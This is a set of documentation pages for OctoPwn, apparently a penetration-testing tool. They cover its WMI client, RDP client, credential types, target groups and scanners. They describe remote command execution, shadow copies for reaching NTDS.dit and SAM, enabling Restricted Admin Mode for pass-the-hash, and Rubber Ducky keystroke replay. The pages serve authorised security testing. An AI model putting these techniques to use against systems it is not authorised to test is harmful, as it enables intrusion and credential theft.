long-term key. | `username:<64-hex>` | | `keytab` | Kerberos keytab file in OctoPwn volatile storage. | `/browserfs/volatile/admin.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `username:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `username:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `username:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth). | `username:` | | `agentproxy` | Remote KDC over the wsnet agent proxy. | n/a | | `sspiproxy` | OS SSPI session via wsnet agent proxy (Windows agent). | n/a | !!! note "Required privileges" Most operations against the default `root\cimv2` namespace require local administrator rights on the target. Some namespaces (`SecurityCenter2`, `MicrosoftVolumeEncryption`, `MicrosoftDNS`) only exist on specific Windows editions or roles and will return `WBEM_E_INVALID_NAMESPACE` (`0x8004100e`) elsewhere — this is detected automatically and logged. --- ## Commands ### QUERY #### query Executes a raw WQL (WMI Query Language) statement against the active namespace (`root\cimv2` by default) and returns the result rows as JSON. This is the escape hatch when a curated `enum*` command doesn't exist for the data you need. ##### Parameters - **query**: A WQL `SELECT` statement (e.g. `SELECT Name, ProcessId FROM Win32_Process WHERE Name LIKE '%lsass%'`). - **to_print** *(optional, bool, default `True`)*: Whether to print the JSON result to the console. --- ### COMMAND EXECUTION Three flavours of remote command execution. All three create a process via `Win32_Process.Create` (PID 0 of WMI's lineage); they differ in whether and how they retrieve standard output. #### cmdexec **Blind execution.** Spawns the command via `Win32_Process.Create` and returns immediately with the new PID and the method's return value. There is no output capture, no exit-code capture, and no completion signal — the caller has no visibility into what happened after the process started. Use this when you only care that the command runs (planting a service, kicking off a scheduled task, dropping a file with `bitsadmin /transfer`) and don't need to read its output. ##### Parameters - **command**: The full command line to execute (e.g. `cmd.exe /c whoami > C:\\Windows\\Temp\\out.txt`, `powershell -enc `). - **to_print** *(optional, bool, default `True`)*: Whether to print the return value and PID. #### cmdexecwithoutput **Output-capturing execution via a registry exfil channel** for `cmd.exe` commands. The command is wrapped with `cmd.exe /Q /c`, its stdout+stderr redirected to a temp file, the temp file base64-encoded with `certutil -encodehex`, the encoded blob written to a randomly-named `HKLM\Software\Classes\` registry value, then read back from that value via `StdRegProv`. The temp files and registry key are cleaned up afterwards. Suitable for short, fast commands. Use [`pscmdexecwithoutput`](#pscmdexecwithoutput) for output that exceeds a single registry value's practical size limit. ##### Parameters - **command**: The cmd.exe command (e.g. `whoami /all`, `ipconfig /all`, `systeminfo`). - **exec_timeout** *(optional, int, default `5`)*: Seconds to wait for the command to complete before reading the registry. Increase this if the command takes longer to run, otherwise the read will fail and the data may be lost. - **codec** *(optional, str, default `utf-8`)*: Decoder for the captured output. - **to_print** *(optional, bool, default `True`)*: Whether to print the captured output. !!! warning "Touches disk and the registry on the target" Both temp files (random UUIDs in `C:\Windows\Temp\`) and a registry key (`HKLM\Software\Classes\`) are created and then deleted. Failed cleanups (e.g. AV killed `certutil` mid-flight) leave residual artifacts. The use of `certutil -encodehex` is also a well-known LOLBin signature. #### pscmdexecwithoutput **Output-capturing execution via a chunked registry exfil channel** for PowerShell commands. The command is run via `powershell -Command`, its output base64-encoded by PowerShell itself, then split into 16 KiB chunks and written to multiple registry values under a random `HKLM\Software\Classes\` key. A REG_DWORD value records the total chunk count so the reader knows when to stop. OctoPwn reads each chunk back via `StdRegProv` and reassembles the original output. Use when [`cmdexecwithoutput`](#cmdexecwithoutput) truncates or fails, or when the payload is naturally PowerShell. ##### Parameters - **command**: The PowerShell one-liner. The `powershell -Command` prefix is added automatically if not already present. - **exec_timeout** *(optional, int, default `5`)*: Seconds to wait between starting the command and reading the registry chunks. Increase for slow commands. - **codec** *(optional, str, default `utf-16le`)*: Decoder. PowerShell's default redirected output is UTF-16LE with a BOM; the BOM is stripped automatically. - **to_print** *(optional, bool, default `True`)*: Whether to print the reassembled output. !!! tip "When to pick which `*exec*` variant" | Need | Command | | --------------------------------------------------------------------------------- | ----------------------------- | | Fire and forget (planting tasks, kicking off long-running tools). | `cmdexec` | | Short cmd.exe / native binary output, latency-sensitive. | `cmdexecwithoutput` | | PowerShell output, large payloads, structured data. | `pscmdexecwithoutput` | --- ### SHADOW COPY Volume Shadow Copy Service (VSS) operations via `Win32_ShadowCopy`. Useful for accessing locked files (`SAM`, `SYSTEM`, `NTDS.dit`) by reading their shadow-copy snapshots through SMB later. #### shadowcopylist Enumerates all existing VSS shadow copies on the target, including their device-object path (the form needed for SMB access — `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy`), the source volume, the install timestamp, and a derived `@GMT-YYYY.MM.DD-HH.MM.SS` label that matches the format used by SMB's previous-version share access. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print the formatted listing. #### shadowcopycreate Creates a new VSS shadow copy of the named volume. Returns the new shadow-copy ID and its `DeviceObject` path. Note that creating shadow copies often requires admin rights and can fail silently if the VSS service is not running or is misconfigured. ##### Parameters - **volume**: Drive letter to snapshot (e.g. `C:`). - **to_print** *(optional, bool, default `True`)*: Whether to print the created shadow copy details. #### shadowcopydelete Deletes a shadow copy by ID (as returned by `shadowcopylist` or `shadowcopycreate`). ##### Parameters - **shadow_id**: The shadow copy ID (a `{...}` GUID string). - **to_print** *(optional, bool, default `True`)*: Whether to print a confirmation message. --- ### ENUMERATION A curated set of WQL queries dressed up as named commands. Each one targets a specific WMI class and prints a compact tabular or formatted output; all return JSON for scripting consumption. | Command | Source class / namespace | What it returns | | ---------------- | ----------------------------------------------------------------- | -------------------------------------------------------------------------------- | | `enumprocesses` | `Win32_Process` (`root\cimv2`) | PID, parent PID, image name, full command line. | | `enumservices` | `Win32_Service` (`root\cimv2`) | Service name, state, start mode, display name, binary path. | | `sysinfo` | `Win32_OperatingSystem` + `Win32_ComputerSystem` (`root\cimv2`) | OS version, build, architecture, hostname, last boot, domain, RAM, CPU, model. | | `enumnetwork` | `Win32_NetworkAdapterConfiguration` (`root\cimv2`) | Adapters with IPs assigned, with MAC, IP, subnet, default gateway, DHCP, DNS. | | `enumusers` | `Win32_LoggedOnUser` (`root\cimv2`) | Logged-on user → logon session associations. | | `enumav` | `AntiVirusProduct` (`root\SecurityCenter2`) | Installed AV products, with parsed enabled/disabled and up-to-date state. **Client OS only** (Server editions don't expose this namespace). | | `enumbitlocker` | `Win32_EncryptableVolume` (`root\CIMv2\Security\MicrosoftVolumeEncryption`) | Per-volume BitLocker protection status and encryption method. | | `enumdns` | `MicrosoftDNS_Zone` + `MicrosoftDNS_ResourceRecord` (`root\microsoftdns`) | DNS zones and record contents grouped by record type. **DC-only** namespace. Optional `domain` argument restricts to one zone. | | `enumshares` | `Win32_Share` (`root\cimv2`) | Share name, local path, description, type (disk / IPC / printer). | | `enumsoftware` | `Win32_Product` (`root\cimv2`) | Installed MSI software with name, version, vendor, install date. **Slow** — see warning below. | | `enumstartup` | `Win32_StartupCommand` (`root\cimv2`) | Startup entries (Run keys, Startup folder, Run-Once, etc.) with command and user. | | `enumdisks` | `Win32_LogicalDisk` (`root\cimv2`) | Logical disks with type (local / network / removable / CD-ROM), size, free space, filesystem. | | `enumpatches` | `Win32_QuickFixEngineering` (`root\cimv2`) | Installed hotfixes / KB articles with description, install date, installer. | All `enum*` commands accept the same single optional parameter: - **to_print** *(optional, bool, default `True`)*: Whether to print the formatted output. Returned JSON is unaffected. `enumdns` additionally accepts: - **domain** *(optional, str)*: Limit the dump to a single zone. If omitted, all zones are enumerated and dumped. !!! warning "`enumsoftware` triggers Win32_Product side-effects" Querying `Win32_Product` causes the Windows Installer service to perform a **consistency check on every installed MSI package**, which can be slow (minutes) and may trigger application self-repair operations on misconfigured installs. This is a long-standing Microsoft-known behaviour, not an OctoPwn limitation. Prefer enumerating uninstall registry keys via [`regread`](#regread) (`HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall`) when speed matters. !!! info "`enumav`, `enumbitlocker`, `enumdns` open separate WMI namespaces" These three commands open a new `IWbemServices` session against a non-default WMI namespace (`SecurityCenter2`, `MicrosoftVolumeEncryption`, `microsoftdns` respectively), perform their query, then disconnect. If the namespace doesn't exist on the target (e.g. `SecurityCenter2` on a Windows Server, `MicrosoftDNS` on a non-DC), the command returns an empty result with an explanatory message rather than failing. --- ### RDP MANAGEMENT Toggle RDP and its security-related knobs via `StdRegProv` and `netsh`. #### rdpenable Enables Remote Desktop on the target by setting `HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections` to `0`. Optionally also enables the matching Windows Firewall rule group. ##### Parameters - **firewall** *(optional, str, default `yes`)*: `yes` / `true` / `1` to enable the "remote desktop" firewall rule group via `netsh advfirewall firewall set rule group="remote desktop"`. Anything else skips the firewall step. - **to_print** *(optional, bool, default `True`)*: Whether to print status messages. #### rdpdisable Disables Remote Desktop by setting `fDenyTSConnections` to `1`. Optionally also disables the matching firewall rule group. ##### Parameters - **firewall** *(optional, str, default `yes`)*: As for `rdpenable` — controls whether the firewall rule group is also disabled. - **to_print** *(optional, bool, default `True`)*: Whether to print status messages. #### rdpstatus Reports three pieces of RDP-relevant state read straight from the registry: whether RDP is enabled (`fDenyTSConnections`), the current listening port (`HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber`), and the configured Restricted Admin Mode value (`HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin`). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print the status block. #### rdpramenable Enables **Restricted Admin Mode** on the target by setting `HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin` to `0`. With Restricted Admin Mode enabled, the [RDP client](./rdp.md) can authenticate using NT hashes / AES keys directly (pass-the-hash over RDP) instead of a cleartext password. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print a confirmation message. !!! warning "Lowers the target's authentication security" Restricted Admin Mode disables outbound credential delegation from the RDP session and exposes a hash-only authentication path. It is rarely a good idea outside of an active engagement and should be disabled again with [`rdpramdisable`](#rdpramdisable) when finished. #### rdpramdisable Disables Restricted Admin Mode by **deleting** the `DisableRestrictedAdmin` registry value. The default Windows behaviour (no value present) is to disallow Restricted Admin Mode. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print a confirmation message. --- ### REGISTRY A general-purpose registry interface backed by `StdRegProv`. Hive names are case-insensitive and accept both short (`HKLM`) and long (`HKEY_LOCAL_MACHINE`) forms; subkey separators can be either backslashes (`\`) or forward slashes (`/`). | Hive alias | Long form | StdRegProv hive ID | | ---------- | ---------------------- | ------------------ | | `HKCR` | `HKEY_CLASSES_ROOT` | `0x80000000` | | `HKCU` | `HKEY_CURRENT_USER` | `0x80000001` | | `HKLM` | `HKEY_LOCAL_MACHINE` | `0x80000002` | | `HKU` | `HKEY_USERS` | `0x80000003` | | `HKCC` | `HKEY_CURRENT_CONFIG` | `0x80000005` | Supported value types: `REG_SZ`, `REG_EXPAND_SZ`, `REG_BINARY`, `REG_DWORD`, `REG_MULTI_SZ`, `REG_QWORD`. Type aliases for `regwrite` accept the full name (`reg_dword`) or the short form (`dword`). #### regread Reads from the registry. With no `value` argument, lists all subkeys and values under the given key (auto-detecting each value's type via `EnumValues` and reading it with the matching getter). With a `value` argument, reads that specific value (auto-detecting its type, defaulting to `REG_SZ` if the value's type cannot be determined). ##### Parameters - **keypath**: Full registry path including hive (e.g. `HKLM\Software\Microsoft\Windows NT\CurrentVersion`). - **value** *(optional, str)*: Specific value name to read. Omit to enumerate the entire key. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### regwrite Writes a value to the registry. The value type is auto-detected: if the value already exists, its existing type is reused; otherwise, integer-looking data becomes `REG_DWORD` and everything else becomes `REG_SZ`. Pass `type` explicitly to override. ##### Parameters - **keypath**: Full registry path including hive. - **value**: Name of the value to write. - **data**: The data to write. Cast to the appropriate type (`int` for DWORD/QWORD, `str` for the others). - **type** *(optional, str)*: Explicit type override — one of `sz`, `expand_sz`, `dword`, `multi_sz`, `qword` (or their `reg_*` long forms). Note: `REG_BINARY` writes are not currently supported. - **to_print** *(optional, bool, default `True`)*: Whether to print a confirmation message. #### regdelete Deletes a registry value (when `value` is given) or an entire registry key (when only `keypath` is given). Key deletion is non-recursive and will fail if the key has subkeys. ##### Parameters - **keypath**: Full registry path including hive. - **value** *(optional, str)*: Specific value name to delete. Omit to delete the entire key. - **to_print** *(optional, bool, default `True`)*: Whether to print a confirmation message. --- ## Limitations - **No anonymous / null-session access.** WMI requires authenticated access; both the `NTLM` and `KERBEROS` `atype` options need a real credential. - **Requires TCP/135 + RPC dynamic ports.** If only SMB (445) is reachable, use the SMB client instead. If only WinRM (5985 / 5986) is reachable, use the WinRM client. - **`cmdexec` is blind.** No exit code, no stdout, no completion signal — only the new PID and the `Win32_Process.Create` return value. Use `cmdexecwithoutput` or `pscmdexecwithoutput` if you need to see the result. - **`*exec*withoutput` write to disk and the registry on the target.** Both temp files in `C:\Windows\Temp\` and a registry key under `HKLM\Software\Classes\` are created and (if the operation completes) cleaned up. Operations interrupted mid-flight (AV, timeout, network drop) leave residue. - **`pscmdexecwithoutput` chunks at 16 KiB per registry value** and stores an explicit chunk count. Very large outputs (hundreds of chunks) increase the chance that `exec_timeout` is too short and a chunk read fails. - **`enumav` is client-OS only.** The `SecurityCenter2` namespace does not exist on Windows Server editions; the command returns an explanatory empty result rather than failing. - **`enumdns` is DC-only.** The `microsoftdns` namespace requires the AD DNS Server role; the command returns an explanatory empty result on non-DC targets. - **`enumsoftware` is slow and triggers Windows Installer side-effects.** See the warning under [Enumeration](#enumeration). Prefer `regread HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall` for a faster, side-effect-free inventory. - **`regwrite` does not support `REG_BINARY`.** Write that type via the underlying `StdRegProv.SetBinaryValue` directly with `query`-style WMI calls if needed. - **`regdelete` of a key is non-recursive.** Delete child values / subkeys first, then the key. - **Registry exfil leaves a forensic trail.** `cmdexecwithoutput` and `pscmdexecwithoutput` both create randomly-named keys under `HKLM\Software\Classes\` plus `cmd.exe` / `powershell.exe` / `certutil.exe` / `reg.exe` / `Out-File` invocations — all standard EDR-detected patterns. Do not assume these commands are stealthy. --- # [Clients] RDP Source: https://docs.octopwn.com/plugins/clients/rdp.html # RDP Client The **RDP Client** speaks the Remote Desktop Protocol (`MS-RDPBCGR` and friends) against Windows hosts. It wraps [`aardwolf`](https://github.com/skelsec/aardwolf) for the protocol stack and renders the remote desktop into an HTML5 canvas inside the session window. Default port `3389`. The client is GUI-first: the **Screen** tab is the default view on session open and is where you'll spend nearly all your time. The CLI surface is small and mostly oriented around supplementary actions (clipboard, screenshot capture, scripted keystrokes, optional session recording). --- ## Authentication The RDP client supports three authentication protocols, covering the realistic combinations exposed by Windows RDP servers (modern NLA-protected NTLM/Kerberos and legacy non-NLA password auth). | `atype` | Underlying creds | Notes | | ---------- | ---------------- | ------------------------------------------------------------------------------------------------------ | | `NTLM` | NTLM | Wrapped inside CredSSP/NLA. Hash and AES-key variants only work if the server has **RestrictedAdminMode** enabled. | | `KERBEROS` | Kerberos | Wrapped inside CredSSP/NLA. Hash and AES-key variants only work with **RestrictedAdminMode**; password and ticket-based variants always work. | | `PLAIN` | password / none | Legacy non-NLA RDP. Only works against servers that have NLA disabled. | ### NTLM credentials | Secret type | Description | Example | | ------------- | -------------------------------------------------------------------- | ---------------------- | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password (for non-ASCII passwords). | `username:70617373…` | | `nt` | NT hash. Requires **RestrictedAdminMode** on the server. | `username:aad3b…` | | `rc4` | RC4 (synonym for NT). Requires **RestrictedAdminMode** on the server. | `username:aad3b…` | | `agentproxy` | Use a remote NTLM signer over the wsnet agent proxy. | n/a | | `sspiproxy` | Use the OS's SSPI session via the wsnet agent proxy (Windows agent). | n/a | ### Kerberos credentials | Secret type | Description | Example | | --------------- | ------------------------------------------------------------------------ | ------------------------------------ | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `username:70617373…` | | `nt` / `rc4` | NT/RC4 hash. Requires **RestrictedAdminMode** on the server. | `username:aad3b…` | | `aes128` | AES128 long-term key. Requires **RestrictedAdminMode** on the server. | `username:<32-hex>` | | `aes256` | AES256 long-term key. Requires **RestrictedAdminMode** on the server. | `username:<64-hex>` | | `keytab` | Kerberos keytab file in OctoPwn volatile storage. | `/browserfs/volatile/admin.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `username:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `username:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `username:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth). | `username:` | !!! info "About RestrictedAdminMode" Standard CredSSP requires the server to receive a usable cleartext password (or the ability to derive one) so that single-sign-on into local resources works. **RestrictedAdminMode** is a Windows feature that allows CredSSP to accept a hash or AES key directly without the cleartext, at the cost of disabling onward SSO from the RDP session. It's controlled by the `DisableRestrictedAdmin` registry value under `HKLM\System\CurrentControlSet\Control\Lsa` (set to `0` to enable, default is disabled on most builds). If RestrictedAdminMode is off, only `password` / `pwhex` (and Kerberos ticket-based credentials) will succeed. !!! note "PLAIN auth = no NLA" Selecting `PLAIN` skips the NLA / CredSSP handshake and falls back to the legacy RDP authentication flow (challenge sent post-connect). Modern Windows servers reject this by default; only servers with NLA explicitly disabled will accept it. --- ## Session window (the GUI experience) | Tab | What it is | | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Screen** | **Default tab.** HTML5 canvas rendering the remote desktop. Mouse and keyboard input are captured by the canvas and forwarded over the RDP virtual channels. A clipboard text field at the side of the canvas lets you push text into the remote clipboard (and receive incoming clipboard data when the remote side copies). | | **Commands** | Auto-generated visual command runner — one button per entry under `help_groups['COMMANDS']`, with parameter inputs. | | **Jobs** | Live table of running operations with PIDs and per-row Stop buttons. | | **History** | Scrollable command history with screenshot-output for reporting. | | **Settings** | Editor for the session parameters (target, atype, timeout, port, etc.). | | **Debug** | Raw protobuf inspector — turns red when active, otherwise hidden. | | **Console** | Collapsible bottom drawer — same console as the CLI. | The Screen tab also offers a resolution selector and a "Record" toggle; both are honoured the next time `login` is invoked. !!! info "Resolution is fixed at login time" The remote desktop resolution is negotiated during the RDP handshake; runtime resize is not implemented. To change resolution, `logout`, pick a new size, and `login` again. --- ## Commands ### CONNECTION #### login Establishes the RDP connection, performs CredSSP/NLA authentication, negotiates the desktop resolution, and starts the video pipeline that paints the **Screen** tab. The server's session is **opened**, not joined — using the same credential against an existing logged-in session would create a new one, not attach. ##### Parameters - **size** *(optional, str, default `1024x768`)*: Desktop resolution as `WIDTHxHEIGHT` (e.g. `1280x800`, `1920x1080`, `1024x768`). The remote side renders at this resolution; runtime resizing is not supported. - **record** *(optional, bool, default `False`)*: If `True`, write the entire session to an `.mp4` file in OctoPwn's working directory (filename `rdp_record_.mp4`). See [Recording](#recording) below for codec and frame rate details. #### logout Disconnects the RDP session. This **does not log the Windows user out** — it just tears down the OctoPwn → server connection. The Windows session remains in its current state (locked or unlocked depending on server policy) and can be re-attached or kicked from the server side. --- ### CLIPBOARD OPERATIONS The remote clipboard is bridged via the `RDPECLIP` virtual channel — text copied on the remote side is automatically forwarded to the OctoPwn console (and surfaced in the Screen tab's clipboard panel), and OctoPwn can push text back into the remote clipboard for paste operations. #### paste Pushes a string into the remote clipboard as Unicode text. The remote side can then paste it with `Ctrl+V` (or whatever paste mechanism applies) — OctoPwn does not synthesize the paste keystroke automatically. ##### Parameters - **text**: The string to set as the remote clipboard contents. #### pastefile Reads a local text file and pushes its contents into the remote clipboard. The path is jailed to OctoPwn's working directory. ##### Parameters - **filepath**: Local file to read inside OctoPwn's working directory. --- ### RUBBERDUCKY Two-step interface for replaying [Rubber Ducky](https://docs.hak5.org/hak5-usb-rubber-ducky/) scripts as synthesized keystrokes against the RDP session. The script is replayed using the active session's keyboard layout (looked up via `aardwolf.keyboard.layoutmanager.KeyboardLayoutManager`), so layout-specific characters are mapped correctly. #### duckyfile Sets the path of the Rubber Ducky script to use. **This does not execute anything** — it only stores the path for the subsequent `duckyexec` call. ##### Parameters - **duckyscriptpath**: Path to the Rubber Ducky `.txt` script (e.g. `/browserfs/volatile/payload.txt`). #### duckyexec Executes the previously-set Rubber Ducky script against the remote session, dispatching scancodes (or characters, for VNC-dialect targets) at the script's tempo. The remote desktop must be in a state where the keystrokes will be received by the intended window — typically focus an application before invoking. This command takes no parameters; the script path comes from the most recent `duckyfile` call. If `duckyfile` has not been set, `duckyexec` prints an error and returns. --- ### SCREEN #### screenshot Saves a PNG snapshot of the current desktop buffer to OctoPwn's working directory. The filename is auto-generated as `screenshot____.png`. Useful for capturing a single moment without enabling full session recording. This command takes no parameters. --- ## Recording When `login` is called with `record=True`, the client spawns a background task that pulls one frame from the desktop buffer at the configured frame rate and appends it to an `.mp4` file in OctoPwn's working directory. | Setting | Default value | Notes | | -------------- | ------------- | ------------------------------------------------------------------------------ | | Frame rate | `5` fps | Hardcoded in `RDPClient.record_fps`. | | Codec FourCC | `mp4v` | Hardcoded in `RDPClient.record_codec`. Compatible with most MP4 players. | | Output path | `/browserfs/volatile/rdp_record_.mp4` | Generated per session; not configurable from the CLI today. | !!! info "Recording uses `cv2` and `numpy`" The recorder uses OpenCV (`cv2.VideoWriter`) and NumPy under the hood. Both are bundled across all distributions (WASM, Enterprise, standalone Python), so recording works everywhere — but on the WASM/browser distribution it is noticeably slower and consumes a meaningful amount of memory while the session is open, since both the codec and the growing output file live in the browser's address space. !!! info "Files land in browser memory on WASM" On the WASM distribution the resulting `.mp4` lives in OctoPwn's volatile storage, which is held in the browser's memory. Download the file out of `/browserfs/volatile/` before closing the tab to avoid losing it. --- ## Limitations - **No runtime resize.** Resolution is fixed at login. To change it, `logout` and `login` again with a different `size`. - **No drive / printer / smart-card / audio redirection.** Only video, keyboard, mouse, and clipboard text channels are wired up. Files cannot be transferred over the RDP virtual channels. - **No bitmap/file clipboard.** Only text (`CF_UNICODETEXT`) is exchanged via the clipboard channel. - **Recording is CPU- and memory-heavy on WASM.** Recording works across all distributions, but on the WASM/browser build the encoder runs alongside the rest of OctoPwn in the browser's address space — expect slower frame production and growing memory use while the session stays open (see [Recording](#recording)). - **Recording parameters are not CLI-configurable.** Frame rate (`5` fps) and codec (`mp4v`) are hardcoded; changing them requires editing the source and reloading the session. - **Hash/key auth requires RestrictedAdminMode.** Standard NLA/CredSSP rejects hash and AES-key auth unless the server explicitly allows it (see the [Authentication](#authentication) note). - **PLAIN auth requires NLA disabled.** Modern Windows defaults reject non-NLA RDP; PLAIN is for legacy/explicitly-misconfigured targets only. - **`logout` ≠ Windows logoff.** Tearing down the client does not log the user off the Windows session — it only disconnects. --- # [Credential] Overview Source: https://docs.octopwn.com/user-guide/credentials.html # Credentials Credentials can be added via the credentials menu on the left. Depending on which communication and authentication protocol you are using you need to store the appropriate credentials. A list of each supported credential type and authentication protocol associated with each communication protocol can be found below. !!! warning If you want to use Kerberos, you must have a hostname, DCIP set either on the target or in global settings, and a realm (FQDN) set in the target or global settings. To set globally, go to Global Settings --> - **Set DC IP** > Enter the IP address of the domain controller - **Set realm** > Enter the fully qualified domain name (FQDN) of the domain (e.g. sevenkingdoms.local) Note that this can be overriden by setting a DC and realm in the target. | **Communication Protocol** | **Authentication Protocol and Supported Credentials** | | -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **SMB** | - **NTLM**: password, nt, lm, rc4
- **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | | **LDAP** | - **NTLM**: password, nt, lm, rc4
- **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | | **LDAPS** | - **NTLM**: password, nt, lm, rc4
- **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | | **RDP** | - **NTLM**: password, nt, lm, rc4
- **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64
- PLAIN: password, none | | **SSH** | - **PLAIN**: password
- **SSHPRIVKEY**: sshprivkey, sshprivkeyb64 | | **VNC** | - **NONE**: none
- **PLAIN**: password | | **WINRM** | - **NTLM** (also for CREDSSP_NTLM, SPNEGO_NTLM): password, nt, lm, rc4
- **KERBEROS** (also for CREDSSP_KERBEROS, SPNEGO_KERBEROS): password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | | **KERBEROS** | - **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | | **DNS** | - **NONE** | | **SNMP** | - **PLAIN**: password
- **NONE** | | **NTP** | - **NONE** | | **NETCAT** | - **NONE** | | **NFS** | - **SYS**: password
- **NONE** | | **DCEDRSUAPI** | - **NTLM**: password, nt, lm, rc4
- **KERBEROS**: password, nt, rc4, aes256, aes128, pfxb64, kirbi, kirbib64, keytab, keytabb64, ccache, ccacheb64 | --- # [Target] Overview Source: https://docs.octopwn.com/user-guide/target.html # Target Menu Documentation The **Target Menu** in OctoPwn allows you to define and manage targets for scanning and attacks. Targets can be added, grouped, and configured to suit various use cases. Below are the details of the functionality and configuration options available in the Target Menu. --- ## Adding Targets You can add targets via the target menu on the left side. There are multiple ways of importing targets. !!! warning If you want to use Kerberos, you must have a hostname, DCIP set either on the target or in global settings, and a realm (FQDN) set in the target or global settings. To set globally, go to Global Settings --> - **Set DC IP** > Enter the IP address of the domain controller - **Set realm** > Enter the fully qualified domain name (FQDN) of the domain (e.g. sevenkingdoms.local) Note that this can be overriden by setting a DC and realm in the target. ### Single Target - Add a single target by specifying an **IP address** or **hostname**. - Automatically resolves hostnames if only an IP address is provided. - You can set either the IP address, the hostname, or both. - If both are set, no hostname resolution will be performed. ### Multiple Targets - Add multiple targets by entering one target per line. ### Import from Tools - **Nmap**: Import targets from an Nmap XML file. - **Masscan**: Import targets from a Masscan XML file. - **Nessus**: Import targets from a Nessus scan file. ### Import from Flat File - Import a list of targets from a plain text file. - Each line should contain one **hostname** or **IP address**. --- ### Stored target data Each target stores the following data: - **IP Address**: The IP address of the target. - **Hostname**: The hostname of the target (optional). - **Ports**: A list of discovered ports in the format `port/protocol` (e.g., `445/tcp`) (not shown in the GUI yet). - **DCIP**: The Domain Controller IP address for Kerberos operations. If set on a target, it overrides the global DCIP setting. - **Realm**: The Kerberos realm. If set on a target, it overrides the global realm setting. --- ## Target Grouping Groups make managing and selecting targets easier. For example: - Assign targets to specific groups (e.g., `test1`, `test2`). - Use the group name in scanners to automatically select all targets in that group. ### Creating Groups - Targets can be assigned to one or more groups. - Specify groups as a comma-separated list (e.g., `test1,test2`) when adding a target. - Group names are case-insensitive. - Group names must: - Use ASCII characters (letters, digits). - Contain no spaces. ### Using Groups in Scanners - In scanners, you can reference groups in the **Target Field** using the following format: - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - Note: **Negation of groups is not supported**. ### Port-Based Groups - Ports are automatically grouped when the target is imported via xml file. - You can reference these groups in scanners using the **Target Field**: - **Single Port**: `p:` (e.g., `p:445`). - **Port with Protocol**: `p:/` (e.g., `p:445/tcp`). - This will select all targets where the specified port that have been discovered or imported. --- ## Notes on GUI - Groups and port-based groups are currently **not shown in the GUI** (feature coming soon). - Ports associated with targets are also **not shown in the GUI yet**. --- # [Scanners] Overview Source: https://docs.octopwn.com/plugins/scanners/index.html # Scanners Scanners in OctoPwn automate network reconnaissance, vulnerability detection and service enumeration across many targets at once. Unlike **clients**, which provide direct, interactive access to a single protocol (SMB, LDAP, RDP, …), scanners perform bulk operations to identify misconfigurations, exposed services, vulnerabilities and credential opportunities at scale. Discovered information (open ports, valid credentials, vulnerable hosts, …) is automatically registered in the project so it can feed straight into other scanners, clients and attacks. ## Getting started 1. **Configure targets** — enter target IDs, single IPs, CIDR ranges, hostnames, target groups (`g:`), port groups (`p:`) or use `all` to run against everything in the project. 2. **Set credentials** — store any required credentials (passwords, hashes, certificates, community strings) in the Credentials Window and reference them by ID in the `credential` parameter. 3. **Set proxy** (optional) — the default proxy has ID `0`. Chain through other proxies if you need to scan into segregated network segments. 4. **Launch the scanner** — pick a scanner, set `targets` and any scanner-specific parameters, hit run. 5. **Analyse results** — credentials are added to the project automatically. Output appears in the scanner window and, when `resultsfile` is set, in `/browserfs/volatile`. **Export anything you care about before reloading or exiting OctoPwn — volatile storage is wiped by the browser.** ## Tiers and platform support Each scanner is tagged with a **tier** and a **WASM** flag: - **Tier** (`community` / `pro` / `enterprise`) — indicates which OctoPwn licence tier is required to run the scanner. - **WASM** — indicates whether the scanner runs in the browser-based build of OctoPwn. Scanners that shell out to local binaries (Nmap, Nuclei, Chrome) or otherwise need a real OS will be marked as **no**. ## Scanner catalogue ### Discovery & inventory | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [portscan](portscan.md) | community | – | yes | TCP connect scanner; auto-registers open ports as target-port entries | | [nmap](nmap.md) | enterprise | – | no | Nmap wrapper with XML import; SYN scan, version detection, NSE | | [baseline](baseline.md) | enterprise | yes | yes | All-in-one assessment combining 12 checks per target | 